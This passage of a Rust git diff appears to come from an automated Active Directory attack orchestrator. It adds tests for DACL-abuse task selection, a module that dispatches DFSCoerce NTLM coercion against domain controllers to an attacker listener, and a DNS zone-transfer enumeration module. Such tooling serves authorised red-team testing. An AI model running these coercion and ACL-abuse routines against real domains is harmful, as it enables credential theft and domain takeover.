.insert(vuln.vuln_id.clone(), vuln); + } + + let state = shared.read().await; + let work = collect_dacl_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].vuln_type, "self_membership"); + } + + #[tokio::test] + async fn collect_sid_source_resolves_via_domain_admin() { + // BloodHound emits ACL edges where the source is a SID for a + // well-known group (e.g. Enterprise Admins ending in -519). The + // resolver should pick any DA-marked credential in the same domain. + let shared = SharedState::new("test".into()); + { + let mut state = shared.write().await; + let mut da = make_credential("admin", "contoso.local"); + da.is_admin = true; + state.credentials.push(da); + state.domain_sids.insert( + "contoso.local".to_string(), + "S-1-5-21-111-222-333".to_string(), + ); + let details = acl_details("S-1-5-21-111-222-333-519", "victim", "contoso.local"); + let vuln = make_vuln("vuln-sid-001", "GenericAll", details); + state + .discovered_vulnerabilities + .insert(vuln.vuln_id.clone(), vuln); + } + + let state = shared.read().await; + let work = collect_dacl_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].credential.username, "admin"); + assert_eq!(work[0].vuln_type, "genericall"); + // source_user must be the resolved cred's SAM, not the raw SID — the + // credential_resolver looks up password by `(username, domain)`, and + // a SID never matches a credential record. + assert_eq!(work[0].source_user, "admin"); + } + + #[tokio::test] + async fn collect_sid_source_non_privileged_rid_skipped() { + // Only well-known privileged RIDs are auto-resolved; an arbitrary + // user SID (RID >= 1000) requires an exact match. + let shared = SharedState::new("test".into()); + { + let mut state = shared.write().await; + let mut da = make_credential("admin", "contoso.local"); + da.is_admin = true; + state.credentials.push(da); + state.domain_sids.insert( + "contoso.local".to_string(), + "S-1-5-21-111-222-333".to_string(), + ); + let details = acl_details("S-1-5-21-111-222-333-1105", "victim", "contoso.local"); + let vuln = make_vuln("vuln-sid-002", "GenericAll", details); + state + .discovered_vulnerabilities + .insert(vuln.vuln_id.clone(), vuln); + } + + let state = shared.read().await; + let work = collect_dacl_work(&state); + assert!(work.is_empty()); + } + + #[tokio::test] + async fn collect_write_membership_produces_work() { + let shared = SharedState::new("test".into()); + { + let mut state = shared.write().await; + state + .credentials + .push(make_credential("user1", "contoso.local")); + let details = acl_details("user1", "Domain Admins", "contoso.local"); + let vuln = make_vuln("vuln-wm-001", "write_membership", details); + state + .discovered_vulnerabilities + .insert(vuln.vuln_id.clone(), vuln); + } + + let state = shared.read().await; + let work = collect_dacl_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].vuln_type, "write_membership"); + } + + #[tokio::test] + async fn collect_non_acl_vuln_skipped() { + let shared = SharedState::new("test".into()); + { + let mut state = shared.write().await; + state + .credentials + .push(make_credential("admin", "contoso.local")); + let details = acl_details("admin", "dc01", "contoso.local"); + let vuln = make_vuln("vuln-smb-001", "smb_signing_disabled", details); + state + .discovered_vulnerabilities + .insert(vuln.vuln_id.clone(), vuln); + } + + let state = shared.read().await; + let work = collect_dacl_work(&state); + assert!(work.is_empty()); + } + + #[tokio::test] + async fn collect_already_exploited_skipped() { + let shared = SharedState::new("test".into()); + { + let mut state = shared.write().await; + state + .credentials + .push(make_credential("admin", "contoso.local")); + let details = acl_details("admin", "victim", "contoso.local"); + let vuln = make_vuln("vuln-fcp-002", "ForceChangePassword", details); + state + .discovered_vulnerabilities + .insert(vuln.vuln_id.clone(), vuln); + state + .exploited_vulnerabilities + .insert("vuln-fcp-002".to_string()); + } + + let state = shared.read().await; + let work = collect_dacl_work(&state); + assert!(work.is_empty()); + } + + #[tokio::test] + async fn collect_already_processed_dedup_skipped() { + let shared = SharedState::new("test".into()); + { + let mut state = shared.write().await; + state + .credentials + .push(make_credential("admin", "contoso.local")); + let details = acl_details("admin", "victim", "contoso.local"); + let vuln = make_vuln("vuln-fcp-003", "ForceChangePassword", details); + state + .discovered_vulnerabilities + .insert(vuln.vuln_id.clone(), vuln); + state.mark_processed(DEDUP_DACL_ABUSE, "dacl:vuln-fcp-003".to_string()); + } + + let state = shared.read().await; + let work = collect_dacl_work(&state); + assert!(work.is_empty()); + } + + #[tokio::test] + async fn collect_source_user_empty_skipped() { + let shared = SharedState::new("test".into()); + { + let mut state = shared.write().await; + state + .credentials + .push(make_credential("admin", "contoso.local")); + let mut details = HashMap::new(); + details.insert("target".to_string(), serde_json::json!("victim")); + let vuln = make_vuln("vuln-fcp-004", "ForceChangePassword", details); + state + .discovered_vulnerabilities + .insert(vuln.vuln_id.clone(), vuln); + } + + let state = shared.read().await; + let work = collect_dacl_work(&state); + assert!(work.is_empty()); + } + + #[tokio::test] + async fn collect_no_matching_credential_skipped() { + let shared = SharedState::new("test".into()); + { + let mut state = shared.write().await; + state + .credentials + .push(make_credential("otheruser", "contoso.local")); + let details = acl_details("admin", "victim", "contoso.local"); + let vuln = make_vuln("vuln-fcp-005", "ForceChangePassword", details); + state + .discovered_vulnerabilities + .insert(vuln.vuln_id.clone(), vuln); + } + + let state = shared.read().await; + let work = collect_dacl_work(&state); + assert!(work.is_empty()); + } + + #[tokio::test] + async fn collect_case_insensitive_credential_match() { + let shared = SharedState::new("test".into()); + { + let mut state = shared.write().await; + state + .credentials + .push(make_credential("Admin", "CONTOSO.LOCAL")); + let details = acl_details("admin", "victim", "contoso.local"); + let vuln = make_vuln("vuln-fcp-006", "ForceChangePassword", details); + state + .discovered_vulnerabilities + .insert(vuln.vuln_id.clone(), vuln); + } + + let state = shared.read().await; + let work = collect_dacl_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].source_user, "admin"); + } + + #[tokio::test] + async fn collect_dc_ip_resolved_from_domain_controllers() { + let shared = SharedState::new("test".into()); + { + let mut state = shared.write().await; + state + .credentials + .push(make_credential("admin", "contoso.local")); + state + .domain_controllers + .insert("contoso.local".to_string(), "192.168.58.10".to_string()); + let details = acl_details("admin", "victim", "contoso.local"); + let vuln = make_vuln("vuln-fcp-007", "ForceChangePassword", details); + state + .discovered_vulnerabilities + .insert(vuln.vuln_id.clone(), vuln); + } + + let state = shared.read().await; + let work = collect_dacl_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].dc_ip, "192.168.58.10"); + } + + #[tokio::test] + async fn collect_dc_ip_empty_when_no_dc_mapping() { + let shared = SharedState::new("test".into()); + { + let mut state = shared.write().await; + state + .credentials + .push(make_credential("admin", "contoso.local")); + let details = acl_details("admin", "victim", "contoso.local"); + let vuln = make_vuln("vuln-fcp-008", "ForceChangePassword", details); + state + .discovered_vulnerabilities + .insert(vuln.vuln_id.clone(), vuln); + } + + let state = shared.read().await; + let work = collect_dacl_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].dc_ip, ""); + } + + #[tokio::test] + async fn collect_credential_domain_mismatch_skipped() { + let shared = SharedState::new("test".into()); + { + let mut state = shared.write().await; + state + .credentials + .push(make_credential("admin", "fabrikam.local")); + let details = acl_details("admin", "victim", "contoso.local"); + let vuln = make_vuln("vuln-fcp-009", "ForceChangePassword", details); + state + .discovered_vulnerabilities + .insert(vuln.vuln_id.clone(), vuln); + } + + let state = shared.read().await; + let work = collect_dacl_work(&state); + assert!(work.is_empty()); + } + + #[tokio::test] + async fn collect_empty_source_domain_matches_any_cred_domain() { + let shared = SharedState::new("test".into()); + { + let mut state = shared.write().await; + state + .credentials + .push(make_credential("admin", "fabrikam.local")); + let mut details = HashMap::new(); + details.insert("source".to_string(), serde_json::json!("admin")); + details.insert("target".to_string(), serde_json::json!("victim")); + let vuln = make_vuln("vuln-fcp-010", "ForceChangePassword", details); + state + .discovered_vulnerabilities + .insert(vuln.vuln_id.clone(), vuln); + } + + let state = shared.read().await; + let work = collect_dacl_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].domain, "fabrikam.local"); + } + + #[tokio::test] + async fn collect_multiple_vulns_produces_multiple_work_items() { + let shared = SharedState::new("test".into()); + { + let mut state = shared.write().await; + state + .credentials + .push(make_credential("admin", "contoso.local")); + + for (i, vtype) in ["ForceChangePassword", "GenericAll", "WriteDacl"] + .iter() + .enumerate() + { + let details = acl_details("admin", &format!("target{i}"), "contoso.local"); + let vuln = make_vuln(&format!("vuln-multi-{i}"), vtype, details); + state + .discovered_vulnerabilities + .insert(vuln.vuln_id.clone(), vuln); + } + } + + let state = shared.read().await; + let work = collect_dacl_work(&state); + assert_eq!(work.len(), 3); + } + + #[tokio::test] + async fn collect_dedup_key_format_matches() { + let shared = SharedState::new("test".into()); + { + let mut state = shared.write().await; + state + .credentials + .push(make_credential("admin", "contoso.local")); + let details = acl_details("admin", "victim", "contoso.local"); + let vuln = make_vuln("vuln-dk-001", "GenericAll", details); + state + .discovered_vulnerabilities + .insert(vuln.vuln_id.clone(), vuln); + } + + let state = shared.read().await; + let work = collect_dacl_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].dedup_key, "dacl:vuln-dk-001"); + } + + #[tokio::test] + async fn collect_source_user_fallback_to_from_key() { + let shared = SharedState::new("test".into()); + { + let mut state = shared.write().await; + state + .credentials + .push(make_credential("svc_account", "contoso.local")); + let mut details = HashMap::new(); + details.insert("from".to_string(), serde_json::json!("svc_account")); + details.insert("target".to_string(), serde_json::json!("victim")); + details.insert( + "source_domain".to_string(), + serde_json::json!("contoso.local"), + ); + let vuln = make_vuln("vuln-from-001", "GenericWrite", details); + state + .discovered_vulnerabilities + .insert(vuln.vuln_id.clone(), vuln); + } + + let state = shared.read().await; + let work = collect_dacl_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].source_user, "svc_account"); + } + + fn make_hash(username: &str, domain: &str) -> ares_core::models::Hash { + ares_core::models::Hash { + id: format!("hash-{username}"), + username: username.to_string(), + hash_value: "aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0".into(), // pragma: allowlist secret + hash_type: "NTLM".into(), + domain: domain.to_string(), + cracked_password: None, + source: String::new(), + discovered_at: None, + parent_id: None, + attack_step: 0, + aes_key: None, + is_previous: false, + source_host: None, + is_trust_key: false, + trust_pair_label: None, + } + } + + #[tokio::test] + async fn collect_skips_when_domain_already_dominated() { + let shared = SharedState::new("test".into()); + { + let mut state = shared.write().await; + state + .credentials + .push(make_credential("admin", "contoso.local")); + let details = acl_details("admin", "victim", "contoso.local"); + let vuln = make_vuln("vuln-dom-001", "ForceChangePassword", details); + state + .discovered_vulnerabilities + .insert(vuln.vuln_id.clone(), vuln); + state.dominated_domains.insert("contoso.local".to_string()); + } + + let state = shared.read().await; + let work = collect_dacl_work(&state); + assert!( + work.is_empty(), + "ACL chain must be suppressed once domain is dominated" + ); + } + + #[tokio::test] + async fn collect_defers_when_credential_capture_in_flight() { + let shared = SharedState::new("test".into()); + { + let mut state = shared.write().await; + state + .credentials + .push(make_credential("admin", "contoso.local")); + let details = acl_details("admin", "victim", "contoso.local"); + let vuln = make_vuln("vuln-flight-001", "ForceChangePassword", details); + state + .discovered_vulnerabilities + .insert(vuln.vuln_id.clone(), vuln); + state.mark_credential_capture_in_flight("contoso.local"); + } + + let state = shared.read().await; + let work = collect_dacl_work(&state); + assert!( + work.is_empty(), + "ACL chain must defer while DCSync is in flight" + ); + } + + #[tokio::test] + async fn collect_skips_destructive_when_target_hash_already_present() { + let shared = SharedState::new("test".into()); + { + let mut state = shared.write().await; + state + .credentials + .push(make_credential("admin", "contoso.local")); + state.hashes.push(make_hash("victim", "contoso.local")); + let details = acl_details("admin", "victim", "contoso.local"); + let vuln = make_vuln("vuln-mat-001", "ForceChangePassword", details); + state + .discovered_vulnerabilities + .insert(vuln.vuln_id.clone(), vuln); + } + + let state = shared.read().await; + let work = collect_dacl_work(&state); + assert!( + work.is_empty(), + "ForceChangePassword must be suppressed when target hash is in state" + ); + } + + #[tokio::test] + async fn collect_skips_destructive_when_target_credential_already_present() { + let shared = SharedState::new("test".into()); + { + let mut state = shared.write().await; + state + .credentials + .push(make_credential("admin", "contoso.local")); + state + .credentials + .push(make_credential("victim", "contoso.local")); + let details = acl_details("admin", "victim", "contoso.local"); + let vuln = make_vuln("vuln-mat-002", "GenericAll", details); + state + .discovered_vulnerabilities + .insert(vuln.vuln_id.clone(), vuln); + } + + let state = shared.read().await; + let work = collect_dacl_work(&state); + assert!( + work.is_empty(), + "GenericAll must be suppressed when target credential is in state" + ); + } + + #[tokio::test] + async fn collect_allows_non_destructive_acl_when_target_material_present() { + let shared = SharedState::new("test".into()); + { + let mut state = shared.write().await; + state + .credentials + .push(make_credential("admin", "contoso.local")); + state.hashes.push(make_hash("victim", "contoso.local")); + let details = acl_details("admin", "victim", "contoso.local"); + let vuln = make_vuln("vuln-gw-002", "GenericWrite", details); + state + .discovered_vulnerabilities + .insert(vuln.vuln_id.clone(), vuln); + } + + let state = shared.read().await; + let work = collect_dacl_work(&state); + assert_eq!( + work.len(), + 1, + "Non-destructive ACL types must still dispatch" + ); + } + + #[tokio::test] + async fn collect_target_user_fallback_to_target_user_key() { + let shared = SharedState::new("test".into()); + { + let mut state = shared.write().await; + state + .credentials + .push(make_credential("admin", "contoso.local")); + let mut details = HashMap::new(); + details.insert("source".to_string(), serde_json::json!("admin")); + details.insert( + "target_user".to_string(), + serde_json::json!("fallback_target"), + ); + details.insert( + "source_domain".to_string(), + serde_json::json!("contoso.local"), + ); + let vuln = make_vuln("vuln-tu-001", "WriteDacl", details); + state + .discovered_vulnerabilities + .insert(vuln.vuln_id.clone(), vuln); + } + + let state = shared.read().await; + let work = collect_dacl_work(&state); + assert_eq!(work.len(), 1); + assert_eq!(work[0].target_user, "fallback_target"); + } +} diff --git a/ares-cli/src/orchestrator/automation/delegation.rs b/ares-cli/src/orchestrator/automation/delegation.rs index dddf610d..6c5332d9 100644 --- a/ares-cli/src/orchestrator/automation/delegation.rs +++ b/ares-cli/src/orchestrator/automation/delegation.rs @@ -46,7 +46,7 @@ pub async fn auto_delegation_enumeration( // with other creds, and using a delegation account's cred // burns auth budget reserved for S4U. .filter(|c| !state.is_delegation_account(&c.username)) - .filter(|c| !state.is_credential_quarantined(&c.username, &c.domain)) + .filter(|c| !state.is_principal_quarantined(&c.username, &c.domain)) .filter_map(|cred| { if cred.domain.is_empty() { return None; diff --git a/ares-cli/src/orchestrator/automation/dfs_coercion.rs b/ares-cli/src/orchestrator/automation/dfs_coercion.rs new file mode 100644 index 00000000..ad9bc889 --- /dev/null +++ b/ares-cli/src/orchestrator/automation/dfs_coercion.rs @@ -0,0 +1,450 @@ +//! auto_dfs_coercion -- trigger DFSCoerce (MS-DFSNM) NTLM coercion against DCs. +//! +//! DFSCoerce abuses the MS-DFSNM protocol (Distributed File System Namespace +//! Management) to force a DC to authenticate to an attacker listener. Unlike +//! PetitPotam, DFSCoerce requires valid domain credentials but works on +//! systems where PetitPotam's unauthenticated path has been patched. +//! +//! The captured NTLM auth can be relayed to LDAP (shadow creds, RBCD) or +//! ADCS web enrollment (ESC8). + +use std::sync::Arc; +use std::time::Duration; + +use serde_json::json; +use tokio::sync::watch; +use tracing::{debug, info, warn}; + +use crate::orchestrator::dispatcher::Dispatcher; +use crate::orchestrator::state::*; + +/// Collect DFS coercion work items from current state. +/// +/// Pure logic extracted from `auto_dfs_coercion` so it can be unit-tested +/// without needing a `Dispatcher` or async runtime. +fn collect_dfs_coercion_work(state: &StateInner, listener: &str) -> Vec { + if state.credentials.is_empty() { + return Vec::new(); + } + + let mut items = Vec::new(); + + for (domain, dc_ip) in &state.all_domains_with_dcs() { + if dc_ip.as_str() == listener { + continue; + } + + let dedup_key = format!("dfs_coerce:{dc_ip}"); + if state.is_processed(DEDUP_DFS_COERCION, &dedup_key) { + continue; + } + + let cred = match state + .credentials + .iter() + .find(|c| c.domain.to_lowercase() == domain.to_lowercase()) + .or_else(|| state.credentials.first()) + { + Some(c) => c.clone(), + None => continue, + }; + + items.push(DfsWork { + dedup_key, + domain: domain.clone(), + dc_ip: dc_ip.clone(), + listener: listener.to_string(), + credential: cred, + }); + } + + items +} + +/// Dispatches DFSCoerce against each DC that hasn't been DFS-coerced. +/// Interval: 45s. +pub async fn auto_dfs_coercion(dispatcher: Arc, mut shutdown: watch::Receiver) { + let mut interval = tokio::time::interval(Duration::from_secs(45)); + interval.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Delay); + + loop { + tokio::select! { + _ = interval.tick() => {}, + _ = shutdown.changed() => break, + } + if *shutdown.borrow() { + break; + } + + if !dispatcher.is_technique_allowed("dfs_coercion") { + continue; + } + + let listener = match dispatcher.config.listener_ip.as_deref() { + Some(ip) => ip.to_string(), + None => continue, + }; + + let work: Vec = { + let state = dispatcher.state.read().await; + collect_dfs_coercion_work(&state, &listener) + }; + + for item in work { + let payload = json!({ + "technique": "dfs_coercion", + "target_ip": item.dc_ip, + "domain": item.domain, + "listener_ip": item.listener, + "credential": { + "username": item.credential.username, + "password": item.credential.password, + "domain": item.credential.domain, + }, + }); + + let priority = dispatcher.effective_priority("dfs_coercion"); + match dispatcher + .throttled_submit("coercion", "coercion", payload, priority) + .await + { + Ok(Some(task_id)) => { + info!( + task_id = %task_id, + domain = %item.domain, + dc = %item.dc_ip, + "DFSCoerce (MS-DFSNM) coercion dispatched" + ); + + dispatcher + .state + .write() + .await + .mark_processed(DEDUP_DFS_COERCION, item.dedup_key.clone()); + let _ = dispatcher + .state + .persist_dedup(&dispatcher.queue, DEDUP_DFS_COERCION, &item.dedup_key) + .await; + } + Ok(None) => { + debug!(dc = %item.dc_ip, "DFSCoerce task deferred"); + } + Err(e) => { + warn!(err = %e, dc = %item.dc_ip, "Failed to dispatch DFSCoerce"); + } + } + } + } +} + +struct DfsWork { + dedup_key: String, + domain: String, + dc_ip: String, + listener: String, + credential: ares_core::models::Credential, +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::orchestrator::state::StateInner; + use ares_core::models::Credential; + + fn make_credential(username: &str, password: &str, domain: &str) -> Credential { + Credential { + id: format!("c-{username}"), + username: username.into(), + password: password.into(), // pragma: allowlist secret + domain: domain.into(), + source: "test".into(), + is_admin: false, + discovered_at: None, + parent_id: None, + attack_step: 0, + } + } + + #[test] + fn dedup_key_format() { + let key = format!("dfs_coerce:{}", "192.168.58.10"); + assert_eq!(key, "dfs_coerce:192.168.58.10"); + } + + #[test] + fn dedup_set_name() { + assert_eq!(DEDUP_DFS_COERCION, "dfs_coercion"); + } + + #[test] + fn skips_self_listener() { + let dc_ip = "192.168.58.50"; + let listener = "192.168.58.50"; + assert_eq!(dc_ip, listener, "DC IP matching listener should be skipped"); + + let dc_ip2 = "192.168.58.10"; + assert_ne!(dc_ip2, listener, "Different IP should not be skipped"); + } + + #[test] + fn payload_structure_validation() { + let cred = ares_core::models::Credential { + id: "c1".into(), + username: "admin".into(), + password: "P@ssw0rd!".into(), // pragma: allowlist secret + domain: "contoso.local".into(), + source: "test".into(), + is_admin: false, + discovered_at: None, + parent_id: None, + attack_step: 0, + }; + + let payload = serde_json::json!({ + "technique": "dfs_coercion", + "target_ip": "192.168.58.10", + "domain": "contoso.local", + "listener_ip": "192.168.58.50", + "credential": { + "username": cred.username, + "password": cred.password, + "domain": cred.domain, + }, + }); + + assert_eq!(payload["technique"], "dfs_coercion"); + assert_eq!(payload["target_ip"], "192.168.58.10"); + assert_eq!(payload["domain"], "contoso.local"); + assert_eq!(payload["listener_ip"], "192.168.58.50"); + assert_eq!(payload["credential"]["username"], "admin"); + assert_eq!(payload["credential"]["password"], "P@ssw0rd!"); // pragma: allowlist secret + assert_eq!(payload["credential"]["domain"], "contoso.local"); + } + + #[test] + fn work_struct_construction() { + let cred = ares_core::models::Credential { + id: "c1".into(), + username: "testuser".into(), + password: "P@ssw0rd!".into(), // pragma: allowlist secret + domain: "contoso.local".into(), + source: "test".into(), + is_admin: false, + discovered_at: None, + parent_id: None, + attack_step: 0, + }; + + let work = DfsWork { + dedup_key: "dfs_coerce:192.168.58.10".into(), + domain: "contoso.local".into(), + dc_ip: "192.168.58.10".into(), + listener: "192.168.58.50".into(), + credential: cred, + }; + + assert_eq!(work.dedup_key, "dfs_coerce:192.168.58.10"); + assert_eq!(work.domain, "contoso.local"); + assert_eq!(work.dc_ip, "192.168.58.10"); + assert_eq!(work.listener, "192.168.58.50"); + assert_eq!(work.credential.username, "testuser"); + } + + #[test] + fn self_targeting_prevention() { + let listener = "192.168.58.50"; + let dc_ips = ["192.168.58.10", "192.168.58.50", "192.168.58.20"]; + + let non_self: Vec<&&str> = dc_ips.iter().filter(|ip| **ip != listener).collect(); + + assert_eq!(non_self.len(), 2); + assert!(!non_self.contains(&&"192.168.58.50")); + assert!(non_self.contains(&&"192.168.58.10")); + assert!(non_self.contains(&&"192.168.58.20")); + } + + #[test] + fn domain_extraction_for_credential_match() { + let domain = "contoso.local"; + let cred_domain = "CONTOSO.LOCAL"; + assert_eq!( + cred_domain.to_lowercase(), + domain.to_lowercase(), + "Domain matching should be case-insensitive" + ); + + let domain2 = "fabrikam.local"; + assert_ne!( + cred_domain.to_lowercase(), + domain2.to_lowercase(), + "Different domains should not match" + ); + } + + // --- collect_dfs_coercion_work tests --- + + #[test] + fn collect_empty_state_returns_no_work() { + let state = StateInner::new("test-op".into()); + let work = collect_dfs_coercion_work(&state, "192.168.58.50"); + assert!(work.is_empty()); + } + + #[test] + fn collect_no_credentials_returns_no_work() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + let work = collect_dfs_coercion_work(&state, "192.168.58.50"); + assert!(work.is_empty()); + } + + #[test] + fn collect_no_dcs_returns_no_work() { + let mut state = StateInner::new("test-op".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + let work = collect_dfs_coercion_work(&state, "192.168.58.50"); + assert!(work.is_empty()); + } + + #[test] + fn collect_single_dc_produces_work() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + let work = collect_dfs_coercion_work(&state, "192.168.58.50"); + assert_eq!(work.len(), 1); + assert_eq!(work[0].domain, "contoso.local"); + assert_eq!(work[0].dc_ip, "192.168.58.10"); + assert_eq!(work[0].dedup_key, "dfs_coerce:192.168.58.10"); + assert_eq!(work[0].listener, "192.168.58.50"); + assert_eq!(work[0].credential.username, "admin"); + } + + #[test] + fn collect_skips_dc_matching_listener() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.50".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + let work = collect_dfs_coercion_work(&state, "192.168.58.50"); + assert!(work.is_empty()); + } + + #[test] + fn collect_dedup_skips_already_processed() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + state.mark_processed(DEDUP_DFS_COERCION, "dfs_coerce:192.168.58.10".into()); + let work = collect_dfs_coercion_work(&state, "192.168.58.50"); + assert!(work.is_empty()); + } + + #[test] + fn collect_multiple_dcs_produces_work_for_each() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .domain_controllers + .insert("fabrikam.local".into(), "192.168.58.20".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + state + .credentials + .push(make_credential("svcacct", "Svc!Pass1", "fabrikam.local")); // pragma: allowlist secret + let work = collect_dfs_coercion_work(&state, "192.168.58.50"); + assert_eq!(work.len(), 2); + let domains: Vec<&str> = work.iter().map(|w| w.domain.as_str()).collect(); + assert!(domains.contains(&"contoso.local")); + assert!(domains.contains(&"fabrikam.local")); + } + + #[test] + fn collect_prefers_same_domain_credential() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .credentials + .push(make_credential("crossuser", "Cross!1", "fabrikam.local")); // pragma: allowlist secret + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + let work = collect_dfs_coercion_work(&state, "192.168.58.50"); + assert_eq!(work.len(), 1); + assert_eq!(work[0].credential.username, "admin"); + assert_eq!(work[0].credential.domain, "contoso.local"); + } + + #[test] + fn collect_falls_back_to_first_credential() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .credentials + .push(make_credential("crossuser", "Cross!1", "fabrikam.local")); // pragma: allowlist secret + let work = collect_dfs_coercion_work(&state, "192.168.58.50"); + assert_eq!(work.len(), 1); + assert_eq!(work[0].credential.username, "crossuser"); + } + + #[test] + fn collect_dedup_skips_processed_keeps_unprocessed() { + let mut state = StateInner::new("test-op".into()); + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .domain_controllers + .insert("fabrikam.local".into(), "192.168.58.20".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + state + .credentials + .push(make_credential("svcacct", "Svc!Pass1", "fabrikam.local")); // pragma: allowlist secret + state.mark_processed(DEDUP_DFS_COERCION, "dfs_coerce:192.168.58.10".into()); + let work = collect_dfs_coercion_work(&state, "192.168.58.50"); + assert_eq!(work.len(), 1); + assert_eq!(work[0].domain, "fabrikam.local"); + } + + #[tokio::test] + async fn collect_via_shared_state() { + let shared = SharedState::new("test-op".into()); + { + let mut state = shared.write().await; + state + .domain_controllers + .insert("contoso.local".into(), "192.168.58.10".into()); + state + .credentials + .push(make_credential("admin", "P@ssw0rd!", "contoso.local")); // pragma: allowlist secret + } + let state = shared.read().await; + let work = collect_dfs_coercion_work(&state, "192.168.58.50"); + assert_eq!(work.len(), 1); + assert_eq!(work[0].domain, "contoso.local"); + } +} diff --git a/ares-cli/src/orchestrator/automation/dns_enum.rs b/ares-cli/src/orchestrator/automation/dns_enum.rs new file mode 100644 index 00000000..8d3e5bc7 --- /dev/null +++ b/ares-cli/src/orchestrator/automation/dns_enum.rs @@ -0,0 +1,398 @@ +//! auto_dns_enum -- DNS zone transfer and record enumeration. +//! +//! Attempts AXFR zone transfers and enumerates DNS records (SRV, A, CNAME) +//! from each discovered DC. DNS records reveal additional hosts, services, +//! and naming conventions that port scanning alone may miss. +//! +//! Zone transfers are often allowed from domain-joined machines, and even +//! when blocked, DNS SRV record enumeration reveals AD-registered services +//! (e.g., _msdcs, _kerberos, _ldap, _gc, _http). + +use std::sync::Arc; +use std::time::Duration; + +use serde_json::json; +use tokio::sync::watch; +use tracing::{debug, info, warn}; + +use crate::orchestrator::dispatcher::Dispatcher; +use crate::orchestrator::state::*; + +/// Collect DNS enumeration work items from current state. +/// +/// Pure logic extracted from `auto_dns_enum` so it can be unit-tested +/// without needing a `Dispatcher` or async runtime. +fn collect_dns_enum_work(state: &StateInner) -> Vec { + let mut items = Vec::new(); + + for (domain, dc_ip) in &state.all_domains_with_dcs() { + let dedup_key = format!("dns_enum:{}", domain.to_lowercase()); + if state.is_processed(DEDUP_DNS_ENUM, &dedup_key) { + continue; + } + + // DNS enum can work without creds (zone transfer, SRV queries) + // but we pass creds if available for authenticated queries + let cred = state + .credentials + .iter() + .find(|c| !c.password.is_empty() && c.domain.to_lowercase() == domain.to_lowercase()) + .cloned(); + + items.push(DnsEnumWork { + dedup_key, + domain: domain.clone(), + dc_ip: dc_ip.clone(), + credential: cred, + }); + } + + items +} + +/// DNS enumeration per domain. +/// Interval: 45s. +pub async fn auto_dns_enum(dispatcher: Arc, mut shutdown: watch::Receiver) { + let mut interval = tokio::time::interval(Duration::from_secs(45)); + interval.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Delay); + + loop { + tokio::select! { + _ = interval.tick() => {}, + _ = shutdown.changed() => break, + } + if *shutdown.borrow() { + break; + } + + if !dispatcher.is_technique_allowed("dns_enum") { + continue; + } + + let work: Vec = { + let state = dispatcher.state.read().await; + collect_dns_enum_work(&state) + }; + + for item in work { + let mut payload = json!({ + "technique": "dns_enumeration", + "target_ip": item.dc_ip, + "domain": item.domain, + }); + + if let Some(ref cred) = item.credential { + payload["credential"] = json!({ + "username": cred.username, + "password": cred.password, + "domain": cred.domain, + }); + } + + let priority = dispatcher.effective_priority("dns_enum"); + match dispatcher + .throttled_submit("recon", "recon", payload, priority) + .await + { + Ok(Some(task_id)) => { + info!( + task_id = %task_id, + domain = %item.domain, + dc = %item.dc_ip, + "DNS enumeration dispatched" + ); + dispatcher + .state + .write() + .await + .mark_processed(DEDUP_DNS_ENUM, item.dedup_key.clone()); + let _ = dispatcher + .state + .persist_dedup(&dispatcher.queue, DEDUP_DNS_ENUM, &item.dedup_key) + .await; + } + Ok(None) => { + debug!(domain = %item.domain, "DNS enumeration deferred"); + } + Err(e) => { + warn!(err = %e, domain = %item.domain, "Failed to dispatch DNS enumeration"); + } + } + } + } +} + +struct DnsEnumWork { + dedup_key: String, + domain: String, + dc_ip: String, + credential: Option, +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn dedup_key_format() { + let key = format!("dns_enum:{}", "contoso.local"); + assert_eq!(key, "dns_enum:contoso.local"); + } + + #[test] + fn dedup_key_normalizes_domain() { + let key = format!("dns_enum:{}", "CONTOSO.LOCAL".to_lowercase()); + assert_eq!(key, "dns_enum:contoso.local"); + } + + #[test] + fn dedup_set_name() { + assert_eq!(DEDUP_DNS_ENUM, "dns_enum"); + } + + #[test] + fn no_cred_required() { + // DNS enum works without credentials for zone transfer / SRV queries + let cred: Option = None; + assert!(cred.is_none()); + } + + #[test] + fn payload_without_cred() { + let payload = serde_json::json!({ + "technique": "dns_enumeration", + "target_ip": "192.168.58.10", + "domain": "contoso.local", + }); + assert!(payload.get("credential").is_none()); + } + + 